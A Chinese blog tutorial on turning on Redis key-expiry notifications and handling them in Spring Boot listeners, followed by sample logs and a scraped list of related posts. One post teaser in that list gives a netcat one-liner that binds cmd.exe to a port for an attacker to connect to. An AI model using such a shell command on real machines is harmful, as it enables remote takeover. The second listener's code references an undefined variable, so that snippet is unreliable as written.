talk is cheap, show me the code.

一、开启Redis key过期提醒

  • 方式二:修改配置文件

    redis.conf

    # 默认 notify-keyspace-events ""
    notify-keyspace-events Ex
  • 方式二:命令行开启

    CONFIG SET notify-keyspace-events Ex
    CONFIG GET notify-keyspace-events

二、notify-keyspace-events

notify-keyspace-events 选项的默认值为空

notify-keyspace-events 的参数可以是以下字符的任意组合, 它指定了服务器该发送哪些类型的通知。

字符 发送的通知
K 键空间通知,所有通知以 keyspace@ 为前缀
E 键事件通知,所有通知以 keyevent@ 为前缀
g DEL 、 EXPIRE 、 RENAME 等类型无关的通用命令的通知
$ 字符串命令的通知
l 列表命令的通知
s 集合命令的通知
h 哈希命令的通知
z 有序集合命令的通知
x 过期事件:每当有过期键被删除时发送
e 驱逐(evict)事件:每当有键因为 maxmemory 政策而被删除时发送
A 参数 g$lshzxe 的别名

三、Coding

  1. 初始化一个Spring Boot项目

  2. pom.xml

    <dependencies>
    <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-redis</artifactId>
    </dependency>
    <dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
    </dependency>
    </dependencies>
  3. 定义配置类RedisListenerConfig

    @Configuration
    public class RedisListenerConfig { @Bean
    RedisMessageListenerContainer container(RedisConnectionFactory connectionFactory) {
    RedisMessageListenerContainer container = new RedisMessageListenerContainer();
    container.setConnectionFactory(connectionFactory);
    return container;
    } }
  4. 定义数据生产类ProviderDataToRedis

    @Slf4j
    @Component
    public class ProviderDataToRedis implements CommandLineRunner { @Autowired
    private StringRedisTemplate stringRedisTemplate; @Override
    public void run(String... args) throws Exception {
    int[] num = new int[]{1};
    Random random = new Random();
    while (true) {
    int max = random.nextInt(5);
    IntStream.range(0, max).forEach(n -> stringRedisTemplate.opsForValue().set(String.format("mq:s1:%s", ++num[0]), "已预订", 5, TimeUnit.SECONDS));
    log.info("放了 {} 条数据到redis...", max);
    TimeUnit.SECONDS.sleep(3);
    }
    }
    }
  5. 定义监听器 实现KeyExpirationEventMessageListener接口

    查看源码发现,该接口监听所有db的过期事件keyevent@*:expired"

    定义Status1ExpirationListener监听状态1到期

    @Slf4j
    @Component
    public class Status1ExpirationListener extends KeyExpirationEventMessageListener { public Status1ExpirationListener(RedisMessageListenerContainer listenerContainer) {
    super(listenerContainer);
    } @Autowired
    private StringRedisTemplate stringRedisTemplate; @Override
    public void onMessage(Message message, byte[] pattern) {
    // 用户做自己的业务处理即可,注意message.toString()可以获取失效的key
    String expiredKey = message.toString();
    if (expiredKey.startsWith("mq:s1:")) {
    log.info("-----------------------------------");
    log.info(String.format("过期key[%s]", expiredKey));
    String newKey = String.format("mq:s2:%s", expiredKey.substring(6));
    String newValue = "行程中";
    stringRedisTemplate.opsForValue().set(newKey, newValue, 3, TimeUnit.SECONDS);
    log.info(String.format("%s: %s", newKey, newValue));
    log.info("-----------------------------------");
    }
    } }

    定义Status2ExpirationListener监听状态2到期

    @Slf4j
    @Component
    public class Status2ExpirationListener extends KeyExpirationEventMessageListener { public Status2ExpirationListener(RedisMessageListenerContainer listenerContainer) {
    super(listenerContainer);
    } @Override
    public void onMessage(Message message, byte[] pattern) {
    // 用户做自己的业务处理即可,注意message.toString()可以获取失效的key
    String expiredKey = message.toString();
    if (expiredKey.startsWith("mq:s2:")) {
    log.info("***********************************");
    log.info(String.format("过期key[%s]", expiredKey));
    log.info("[{}]行程已完成,修改数据库状态。", newKey);
    log.info("***********************************");
    }
    } }

四、测试输出

...
2021-01-25 23:16:58.012 INFO 55511 --- [ main] n.y.tools.listener.ProviderDataToRedis : 放了 4 条数据到redis...
2021-01-25 23:17:00.037 INFO 55511 --- [ container-1070] c.i.r.l.Status1ExpirationListener : -----------------------------------
2021-01-25 23:17:00.037 INFO 55511 --- [ container-1070] c.i.r.l.Status1ExpirationListener : 过期key[mq:s1:272]
2021-01-25 23:17:00.037 INFO 55511 --- [ container-1072] c.i.r.l.Status1ExpirationListener : -----------------------------------
2021-01-25 23:17:00.037 INFO 55511 --- [ container-1072] c.i.r.l.Status1ExpirationListener : 过期key[mq:s1:271]
2021-01-25 23:17:00.039 INFO 55511 --- [ container-1070] c.i.r.l.Status1ExpirationListener : mq:s2:272: 行程中
2021-01-25 23:17:00.039 INFO 55511 --- [ container-1072] c.i.r.l.Status1ExpirationListener : mq:s2:271: 行程中
2021-01-25 23:17:00.039 INFO 55511 --- [ container-1070] c.i.r.l.Status1ExpirationListener : -----------------------------------
2021-01-25 23:17:00.039 INFO 55511 --- [ container-1072] c.i.r.l.Status1ExpirationListener : -----------------------------------
2021-01-25 23:17:00.140 INFO 55511 --- [ container-1075] c.i.r.l.Status2ExpirationListener : ***********************************
2021-01-25 23:17:00.140 INFO 55511 --- [ container-1075] c.i.r.l.Status2ExpirationListener : 过期key[mq:s2:270]
2021-01-25 23:17:00.140 INFO 55511 --- [ container-1075] c.i.r.l.Status2ExpirationListener : [270]行程已完成,修改数据库状态。
2021-01-25 23:17:00.140 INFO 55511 --- [ container-1075] c.i.r.l.Status2ExpirationListener : ***********************************
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1077] c.i.r.l.Status2ExpirationListener : ***********************************
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1077] c.i.r.l.Status2ExpirationListener : 过期key[mq:s2:269]
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1079] c.i.r.l.Status2ExpirationListener : ***********************************
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1079] c.i.r.l.Status2ExpirationListener : 过期key[mq:s2:268]
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1077] c.i.r.l.Status2ExpirationListener : [269]行程已完成,修改数据库状态。
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1077] c.i.r.l.Status2ExpirationListener : ***********************************
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1079] c.i.r.l.Status2ExpirationListener : [268]行程已完成,修改数据库状态。
2021-01-25 23:17:00.242 INFO 55511 --- [ container-1079] c.i.r.l.Status2ExpirationListener : ***********************************
2021-01-25 23:17:00.546 INFO 55511 --- [ container-1081] c.i.r.l.Status2ExpirationListener : ***********************************
2021-01-25 23:17:00.546 INFO 55511 --- [ container-1081] c.i.r.l.Status2ExpirationListener : 过期key[mq:s2:267]
2021-01-25 23:17:00.546 INFO 55511 --- [ container-1081] c.i.r.l.Status2ExpirationListener : [267]行程已完成,修改数据库状态。
2021-01-25 23:17:00.546 INFO 55511 --- [ container-1081] c.i.r.l.Status2ExpirationListener : ***********************************
...

五、一直增加的线程数

从测试输出的日志中可以看出,线程一直在增加,这个问题还有待解决!

六、参考

http://redisdoc.com/topic/notification.html

【Redis系列】Spring boot实现监听Redis key失效事件的更多相关文章

  1. Spring boot实现监听Redis key失效事件实现和其它方式

    需求: 处理订单过期自动取消,比如下单30分钟未支付自动更改订单状态 用户绑定隐私号码当订单结束取消绑定等 解决方案1: 可以利用redis自带的key自动过期机制,下单时将订单id写入redis,过 ...

  2. springboot redis 监听过期key值事件

    redis 中的key值过期后,触发通知事件 1.创建springboot工程,创建监听类 maven配置 <dependencies> <dependency> <gr ...

  3. springboot使用Redis,监听Redis键过期的事件设置与使用代码

    我使用的是Windows下的Redis服务,所以一下Redis设置都是在Windows平台进行. 1.修改Redis配置文件 1.1:Windows下的Redis存在两个配置文件 修改带有servic ...

  4. Spring Boot 如何快速集成 Redis 哨兵?

    上一篇:Spring Boot 如何快速集成 Redis? 前面的分享栈长介绍了如何使用 Spring Boot 快速集成 Redis,上一篇是单机版,也有粉丝留言说有没有 Redis Sentine ...

  5. Spring Boot 2.x整合Redis

    最近在学习Spring Boot 2.x整合Redis,在这里和大家分享一下,希望对大家有帮助. Redis是什么 Redis 是开源免费高性能的key-value数据库.有以下的优势(源于Redis ...

  6. Spring boot配置多个Redis数据源操作实例

    原文:https://www.jianshu.com/p/c79b65b253fa Spring boot配置多个Redis数据源操作实例 在SpringBoot是项目中整合了两个Redis的操作实例 ...

  7. Spring Boot 多站点利用 Redis 实现 Session 共享

    如何在不同站点(web服务进程)之间共享会话 Session 呢,原理很简单,就是把这个 Session 独立存储在一个地方,所有的站点都从这个地方读取 Session. 通常我们使用 Redis 来 ...

  8. 【spring boot】【redis】spring boot基于redis的LUA脚本 实现分布式锁

    spring boot基于redis的LUA脚本 实现分布式锁[都是基于redis单点下] 一.spring boot 1.5.X 基于redis 的 lua脚本实现分布式锁 1.pom.xml &l ...

  9. 7、Spring Boot 2.x 集成 Redis

    1.7 Spring Boot 2.x 集成 Redis 简介 继续上篇的MyBatis操作,详细介绍在Spring Boot中使用RedisCacheManager作为缓存管理器,集成业务于一体. ...

随机推荐

  1. Python高级语法-深浅拷贝-总结(4.2.1)

    @ 目录 1.说明 2.代码 关于作者 1.说明 任何可变数据类型都牵扯到深浅拷贝 但是元组,常数等,不可变数据类型,无论浅拷贝,深拷贝都是指向 不管如何嵌套,一旦牵扯到可变数据类型,都会有深浅区别 ...

  2. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  3. python函数收集不确定数量的值

    python写函数的时候,有时候会不确定到底传入多少值. 首先是,*args,单星号参数收集参数: 1 #!usr/bin/python 2 #-*-coding:utf-8-*- 3 4 #定义一个 ...

  4. Core3.0使用Swagger接口文档

    前言 此方法为百度搜索结果,原文链接找不到了 步骤 1.引用Nuget Swashbuckle.AspNetCore 2.Startup.cs配置 //注册swagger服务,定义1个或者多个swag ...

  5. Windows 系列GVLK密钥

    以下是GVLK密钥版本对照表,可配合KMS服务器进行使用. Windows 系列GVLK密钥 Windows Server 2019 Operating system edition KMS Clie ...

  6. svn忽略idea生成的本地配置文件

    为根目录添加svn属性svn:global-ignores 值为 *.iml .idea 多个值之间用换行分隔

  7. svn怎么上传文件

    首先去网站下载TortoiseSVN,并安装   安装完后随便打开一个文件夹,如图,笔者在 E:\svn\ 文件下创建了一个simbo文件夹,选中并右键,出现了TortoiseSVN应用的选项,我们点 ...

  8. [leetcode]404. Sum of Left Leaves左叶子之和

    弄个flag记录是不是左节点就行 int res = 0; public int sumOfLeftLeaves(TreeNode root) { if (root==null) return res ...

  9. Android多activity启动两种方式浅谈

    (1)第一种方式就是常见的通过intent来启动,被启动的activity需要在mainfest里面注册activity (2)第二种就是通过setContentView来启动,这里activity不 ...

  10. hive on spark:return code 30041 Failed to create Spark client for Spark session原因分析及解决方案探寻

    最近在Hive中使用Spark引擎进行执行时(set hive.execution.engine=spark),经常遇到return code 30041的报错,为了深入探究其原因,阅读了官方issu ...